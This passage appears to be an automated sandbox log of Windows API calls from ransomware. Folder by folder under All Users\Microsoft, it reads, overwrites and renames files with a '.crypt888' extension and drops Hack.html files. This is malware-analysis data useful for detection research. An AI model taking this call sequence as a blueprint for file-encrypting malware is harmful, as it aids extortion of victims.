lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.163] GetFileType (hFile=0x174) returned 0x1 [0088.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.163] GetFileType (hFile=0x174) returned 0x1 [0088.163] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.163] ReadFile (in: hFile=0x174, lpBuffer=0x26c53b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26c53b0*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.164] CloseHandle (hObject=0x174) returned 1 [0088.215] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.215] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.216] GetFileType (hFile=0x174) returned 0x1 [0088.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.216] GetFileType (hFile=0x174) returned 0x1 [0088.216] WriteFile (in: hFile=0x174, lpBuffer=0x2713674*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2713674*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.218] CloseHandle (hObject=0x174) returned 1 [0088.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0088.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6f9000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb6f9000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5c8ea60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.218] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html.crypt888")) returned 1 [0088.219] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.219] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.219] GetFileType (hFile=0x174) returned 0x1 [0088.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.219] GetFileType (hFile=0x174) returned 0x1 [0088.219] WriteFile (in: hFile=0x174, lpBuffer=0x2715fb4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2715fb4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0088.221] CloseHandle (hObject=0x174) returned 1 [0088.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.221] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0088.221] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\", lpFilePart=0x0) returned 0x21 [0088.221] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0088.221] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.221] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.221] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.222] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.222] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0088.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0088.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\", lpFilePart=0x0) returned 0x21 [0088.222] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0088.222] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.223] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.223] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.223] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.223] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0088.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.223] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.223] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.224] GetFileType (hFile=0x174) returned 0x1 [0088.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.224] GetFileType (hFile=0x174) returned 0x1 [0088.224] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.224] ReadFile (in: hFile=0x174, lpBuffer=0x2718708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2718708*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.225] CloseHandle (hObject=0x174) returned 1 [0088.244] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.244] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.245] GetFileType (hFile=0x174) returned 0x1 [0088.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.245] GetFileType (hFile=0x174) returned 0x1 [0088.245] WriteFile (in: hFile=0x174, lpBuffer=0x2766864*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2766864*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.246] CloseHandle (hObject=0x174) returned 1 [0088.247] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.247] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html.crypt888", lpFilePart=0x0) returned 0x33 [0088.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb71f160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb71f160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5cb4bc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.247] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html.crypt888")) returned 1 [0088.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0088.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\", lpFilePart=0x0) returned 0x28 [0088.325] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a2e8 [0088.326] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.326] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.326] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.326] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0088.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.343] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0088.343] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\", lpFilePart=0x0) returned 0x28 [0088.343] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a2e8 [0088.344] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.344] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0088.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.344] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0088.344] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.345] GetFileType (hFile=0x174) returned 0x1 [0088.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0088.345] GetFileType (hFile=0x174) returned 0x1 [0088.345] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.345] ReadFile (in: hFile=0x174, lpBuffer=0x2769094, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2769094*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.346] CloseHandle (hObject=0x174) returned 1 [0088.371] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0088.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.376] GetFileType (hFile=0x174) returned 0x1 [0088.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0088.376] GetFileType (hFile=0x174) returned 0x1 [0088.376] WriteFile (in: hFile=0x174, lpBuffer=0x27b71fc*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27b71fc*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0088.377] CloseHandle (hObject=0x174) returned 1 [0088.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0088.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0088.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb71f160, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb71f160, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5e0b820, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0088.378] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html.crypt888")) returned 1 [0088.378] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html", lpFilePart=0x0) returned 0x31 [0088.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.378] GetFileType (hFile=0x174) returned 0x1 [0088.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.379] GetFileType (hFile=0x174) returned 0x1 [0088.379] WriteFile (in: hFile=0x174, lpBuffer=0x27b9b3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27b9b3c*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0088.380] CloseHandle (hObject=0x174) returned 1 [0088.380] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html", lpFilePart=0x0) returned 0x2a [0088.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.380] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\drm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.380] GetFileType (hFile=0x174) returned 0x1 [0088.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.380] GetFileType (hFile=0x174) returned 0x1 [0088.380] WriteFile (in: hFile=0x174, lpBuffer=0x27bc2ec*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27bc2ec*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0088.381] CloseHandle (hObject=0x174) returned 1 [0088.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.381] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome", lpFilePart=0x0) returned 0x22 [0088.381] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\", lpFilePart=0x0) returned 0x23 [0088.381] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a428 [0088.381] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.382] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.382] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.389] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.389] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0088.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.389] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome", lpFilePart=0x0) returned 0x22 [0088.389] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\", lpFilePart=0x0) returned 0x23 [0088.390] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a428 [0088.390] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.390] FindNextFileW (in: hFindFile=0x59a428, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.390] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0088.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.390] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", lpFilePart=0x0) returned 0x2c [0088.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.391] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.391] GetFileType (hFile=0x174) returned 0x1 [0088.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.391] GetFileType (hFile=0x174) returned 0x1 [0088.391] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.391] ReadFile (in: hFile=0x174, lpBuffer=0x27beab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27beab0*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.440] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", lpFilePart=0x0) returned 0x2c [0088.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.441] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\ehome\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.442] GetFileType (hFile=0x174) returned 0x1 [0088.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.442] GetFileType (hFile=0x174) returned 0x1 [0088.442] WriteFile (in: hFile=0x174, lpBuffer=0x280cc10*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x280cc10*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.443] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\Hack.html", lpFilePart=0x0) returned 0x2c [0088.443] GetFullPathNameW (in: 